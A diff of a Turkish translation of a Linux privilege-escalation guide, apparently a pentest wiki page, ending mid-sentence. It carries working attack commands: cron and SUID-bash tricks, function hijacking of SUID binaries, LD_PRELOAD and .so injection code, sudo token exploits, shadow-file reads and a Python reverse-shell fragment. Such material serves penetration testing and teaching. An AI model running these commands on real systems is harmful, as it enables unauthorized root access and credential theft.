script bir komut içinde “**\***” içeriyorsa, bunu beklenmedik şeyler (örneğin privesc) yapmak için kullanabilirsiniz. Örnek: +Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için kullanabilirsiniz (örneğin, privesc). Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -348,15 +348,15 @@ Daha fazla joker karakter istismar hilesi için aşağıdaki sayfayı okuyun: wildcards-spare-tricks.md {{#endref}} -### Cron scripti üzerine yazma ve symlink +### Cron script'i üzerine yazma ve symlink -Eğer **root tarafından yürütülen bir cron scriptini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz: +Eğer **root tarafından yürütülen bir cron script'ini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini** kullanıyorsa, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i sunan başka birine symlink klasörü oluşturmak** faydalı olabilir. +Eğer root tarafından yürütülen script, **tam erişiminizin olduğu bir dizini** kullanıyorsa, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i sunan başka birine symlink klasörü oluşturmak** faydalı olabilir. ```bash ln -d -s ``` @@ -368,7 +368,7 @@ Her 1, 2 veya 5 dakikada bir yürütülen süreçleri aramak için süreçleri i ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ayrıca** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **kullanabilirsiniz** (bu, başlayan her süreci izleyecek ve listeleyecektir). +**Ayrıca** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **kullanabilirsiniz** (bu, başlayan her süreci izler ve listeler). ### Görünmez cron işleri @@ -376,24 +376,24 @@ Bir cronjob oluşturmak **bir yorumdan sonra bir satır sonu karakteri koyarak** ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Hizmetler +## Services -### Yazılabilir _.service_ dosyaları +### Writable _.service_ files -Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, onu **değiştirerek** hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde **ayarlayabilirsiniz** (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ -Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun. +Herhangi bir `.service` dosyasını yazabiliyorsanız, **değiştirebilir** ve hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ +Örneğin, .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile arka kapınızı oluşturun. -### Yazılabilir hizmet ikili dosyaları +### Writable service binaries -Eğer **hizmetler tarafından yürütülen ikili dosyalar üzerinde yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. +Hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz** varsa, bunları arka kapılarla değiştirebileceğinizi unutmayın, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. -### systemd PATH - Göreli Yollar +### systemd PATH - Relative Paths **systemd** tarafından kullanılan PATH'i görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasöründe **yazma** yetkiniz olduğunu bulursanız, **yetkileri yükseltme** şansınız olabilir. **Hizmet yapılandırma** dosyalarında kullanılan **göreli yolları** aramanız gerekiyor, örneğin: +Eğer yolun herhangi bir klasöründe **yazma** yetkiniz olduğunu bulursanız, **yetki yükseltme** yapma imkanınız olabilir. **Hizmet yapılandırma** dosyalarında kullanılan **göreli yolları** aramanız gerekiyor, örneğin: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' @@ -405,7 +405,7 @@ Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosya ## **Zamanlayıcılar** -**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilirler. +**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilir. Tüm zamanlayıcıları şu şekilde listeleyebilirsiniz: ```bash @@ -419,18 +419,18 @@ Unit=backdoor.service ``` Belgede, Birimin ne olduğunu okuyabilirsiniz: -> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, ancak son ek hariçtir. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birim adı, son ek hariç aynı şekilde adlandırılması önerilir. +> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, sadece sonek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birim adı, sonek hariç aynı şekilde adlandırılması önerilir. Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: -- **Yazılabilir bir ikili dosya** çalıştıran bazı systemd birimlerini (örneğin bir `.service`) bulun -- **Göreli bir yolu** çalıştıran bazı systemd birimlerini bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için) +- **Yazılabilir bir ikili dosya** çalıştıran bir systemd birimi (örneğin bir `.service`) bulun +- **Göreli bir yolu** çalıştıran bir systemd birimi bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için) **Zamanlayıcılar hakkında daha fazla bilgi edinin `man systemd.timer`.** ### **Zamanlayıcıyı Etkinleştirme** -Bir zamanlayıcıyı etkinleştirmek için root ayrıcalıklarına ihtiyacınız var ve şunu çalıştırmalısınız: +Bir zamanlayıcıyı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şunu çalıştırmanız gerekir: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -439,28 +439,28 @@ Not edin ki **zamanlayıcı**, `/etc/systemd/system/.wants//dev/null @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Clipboard -Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse) +Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin. ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -694,7 +694,7 @@ Eğer çok fazla gürültü yapmaktan rahatsız değilseniz ve `su` ile `timeout ### $PATH -Eğer **$PATH'in bazı klasörlerine yazabileceğinizi** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmiyor olmalıdır**. +Eğer **$PATH'in bazı klasörlerine yazabileceğinizi** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali olarak root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmiyor olmalıdır**. ### SUDO ve SUID @@ -765,13 +765,13 @@ sudo less ``` Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çalıştırıyorsa da kullanılabilir (her zaman garip bir SUID ikilisinin içeriğini kontrol etmek için** _**strings**_ **kullanın)**. -[Çalıştırılacak yük örnekleri.](payloads-to-execute.md) +[Payload örnekleri çalıştırmak için.](payloads-to-execute.md) ### Komut yolu ile SUID ikilisi Eğer **suid** ikilisi **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz. -Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz: +Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -785,7 +785,7 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar: - Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz. -- suid/sgid olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. +- SUID/SGID olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. Yetki yükseltme, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir. ``` @@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID İkili – .so enjeksiyonu -**SUID** izinlerine sahip ve alışılmadık görünen bir ikili ile karşılaştığınızda, **.so** dosyalarını düzgün bir şekilde yükleyip yüklemediğini kontrol etmek iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: +**SUID** izinlerine sahip ve alışılmadık görünen bir ikili ile karşılaşıldığında, **.so** dosyalarını düzgün bir şekilde yükleyip yüklemediğini kontrol etmek iyi bir uygulamadır. Bu, aşağıdaki komut çalıştırılarak kontrol edilebilir: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, bir istismar potansiyelini gösterir. -Bunu istismar etmek için, _"/path/to/.config/libcalc.c"_ adında bir C dosyası oluşturulmalı ve aşağıdaki kod eklenmelidir: +Bunu istismar etmek için, _"/path/to/.config/libcalc.c"_ adında bir C dosyası oluşturulmalı ve aşağıdaki kod içermelidir: ```c #include #include @@ -859,7 +859,7 @@ Yukarıdaki C dosyasını bir paylaşılan nesne (.so) dosyasına derlemek için ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem tehlikesine yol açacak şekilde istismarı tetiklemelidir. +Sonunda, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem tehlikesine yol açacak şekilde istismarı tetiklemelidir. ## Paylaşılan Nesne Kaçırma ```bash @@ -928,7 +928,7 @@ Ayrıcalıkları yükseltmek için gereksinimler: Tüm bu gereksinimler karşılandığında, **şu şekilde ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **ilk istismar** (`exploit.sh`), _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın): +- **ilk istismar** (`exploit.sh`), _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapmalısınız): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -939,7 +939,7 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Üçüncü exploit (`exploit_v3.sh`), **sudo tokenlerini sonsuz hale getiren ve tüm kullanıcıların sudo kullanmasına izin veren bir sudoers dosyası oluşturacaktır.** +- Üçüncü exploit (`exploit_v3.sh`), **sudo token'larını sonsuz hale getiren ve tüm kullanıcıların sudo kullanmasına izin veren bir sudoers dosyası oluşturacaktır.** ```bash bash exploit_v3.sh sudo su @@ -947,7 +947,7 @@ sudo su ### /var/run/sudo/ts/\ Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını geçersiz kılabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**: +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcıyla bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları** elde edebilirsiniz: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -973,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` ikili dosyasına alternatif olarak OpenBSD için `doas` gibi bazı alternatifler vardır, `/etc/doas.conf` dosyasındaki yapılandırmasını kontrol etmeyi unutmayın. +`sudo` ikili dosyasına alternatif olarak OpenBSD için `doas` gibi bazı alternatifler vardır, yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak ayrıcalıkları artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak ayrıcalıkları artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası** oluşturabilirsiniz. Ardından, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır. Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. @@ -1006,8 +1006,8 @@ Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden oldu Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.** -Eğer bir nedenle **bir kullanıcının yazma izinleri** belirtilen yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetki yükseltme gerçekleştirebilir.\ -Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın: +Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, ayrıcalıkları yükseltebilir.\ +Bu yanlış yapılandırmayı **nasıl istismar edeceğinize** bir göz atın: {{#ref}} ld.so.conf-example.md @@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ardından `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` komutunu kullanarak kötü niyetli bir kütüphane oluşturun. +Sonra `/var/tmp` içinde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü bir kütüphane oluşturun. ```c #include #define SHELL "/bin/sh" @@ -1048,7 +1048,7 @@ execve(file,argv,0); ``` ## Yetenekler -Linux yetenekleri, bir **işleme mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri, işlemlere bağımsız olarak verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\ +Linux yetenekleri, bir **işleme mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri bağımsız olarak işlemlere verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\ Daha fazla bilgi için **yetenekler hakkında daha fazla bilgi edinmek ve bunları nasıl kötüye kullanacağınızı öğrenmek için** aşağıdaki sayfayı okuyun: {{#ref}} @@ -1057,12 +1057,12 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **"cd"** komutuyla klasöre girebileceğini belirtir.\ -**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** **oluşturabileceğini** belirtir. +Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **"cd"** komutunu kullanarak klasöre girebileceğini belirtir.\ +**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar oluşturabileceğini** belirtir. ## ACL'ler -Erişim Kontrol Listeleri (ACL'ler), **geleneksel ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikinci katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar; sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar vererek veya reddederek. Bu düzeydeki **ince ayrıntı, daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir. +Erişim Kontrol Listeleri (ACL'ler), **geleneksel ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikinci katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar ve sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar vererek veya reddederek erişim yönetimini geliştirir. Bu düzeydeki **ince ayrıntı, daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir. **kali** kullanıcısına bir dosya üzerinde okuma ve yazma izinleri verin: ```bash @@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazen **şifre karma** değerlerini `/etc/passwd` (veya eşdeğeri) dosyası içinde bulabilirsiniz. +Bazen **şifre hash'lerini** `/etc/passwd` (veya eşdeğeri) dosyası içinde bulabilirsiniz. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1216,7 +1216,7 @@ su - dummy ``` NOT: BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur, ayrıca `/etc/shadow` dosyası `/etc/spwd.db` olarak yeniden adlandırılmıştır. -Bazı **hassas dosyalara yazma** yeteneğinizi kontrol etmelisiniz. Örneğin, bazı **hizmet yapılandırma dosyalarına** yazabilir misiniz? +Bazı **hassas dosyalara yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **hizmet yapılandırma dosyalarına** yazabilir misiniz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1252,7 +1252,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Son dakikalardaki değiştirilen dosyalar +### Son Dakikada Değiştirilen Dosyalar ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1286,13 +1286,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Bilinen şifre içeren dosyalar -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek birkaç olası dosyayı arar**.\ +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek birkaç olası dosyayı** arar.\ **Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), Windows, Linux ve Mac için yerel bir bilgisayarda saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır. ### Loglar Logları okuyabiliyorsanız, **içlerinde ilginç/gizli bilgiler bulabilirsiniz**. Log ne kadar garip olursa, o kadar ilginç olacaktır (muhtemelen).\ -Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, **denetim logları içinde şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, denetim logları içinde **şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1312,8 +1312,8 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Genel Kimlik Bilgileri Arama/Regex -Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve günlüklerde IP'ler ve e-postalar ile hash regex'lerini de kontrol etmelisiniz.\ -Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri kontrol edebilirsiniz. +Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve ayrıca günlüklerde IP'ler ve e-postalar veya hash regex'lerini kontrol etmelisiniz.\ +Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz. ## Yazılabilir dosyalar @@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate istismarı -`logrotate`'deki bir güvenlik açığı, bir günlük dosyası veya onun üst dizinlerinde **yazma izinlerine** sahip kullanıcıların potansiyel olarak yükseltilmiş ayrıcalıklar kazanmasına olanak tanır. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. Günlük döngüsünün uygulandığı _/var/log_ dizininde değil, aynı zamanda diğer dizinlerde de izinleri kontrol etmek önemlidir. +`logrotate`'deki bir güvenlik açığı, bir günlük dosyası veya üst dizinlerinde **yazma izinlerine** sahip kullanıcıların potansiyel olarak yükseltilmiş ayrıcalıklar kazanmasına olanak tanır. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde, rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. Günlük döngüsünün uygulandığı _/var/log_ dizininde değil, aynı zamanda diğer dizinlerde de izinleri kontrol etmek önemlidir. > [!NOTE] > Bu güvenlik açığı `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkilemektedir. @@ -1336,13 +1336,13 @@ Güvenlik açığı hakkında daha ayrıntılı bilgi bu sayfada bulunabilir: [h Bu güvenlik açığını [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. -Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebileceğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinklerle değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. +Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinkler ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazabilirse** veya mevcut birini **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**. +Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazma** yeteneğine sahip bir `ifcf-` betiği yazabiliyorsa **veya** mevcut birini **ayarlayabiliyorsa**, o zaman **sisteminiz ele geçirilmiştir**. Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler. @@ -1356,11 +1356,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd ve rc.d** -Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'ler** barındırır, bu da **klasik Linux servis yönetim sistemidir**. Bu script'ler, servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. +Dizin `/etc/init.d`, **System V init (SysVinit)** için **scriptler** barındırır, bu da **klasik Linux servis yönetim sistemidir**. Bu 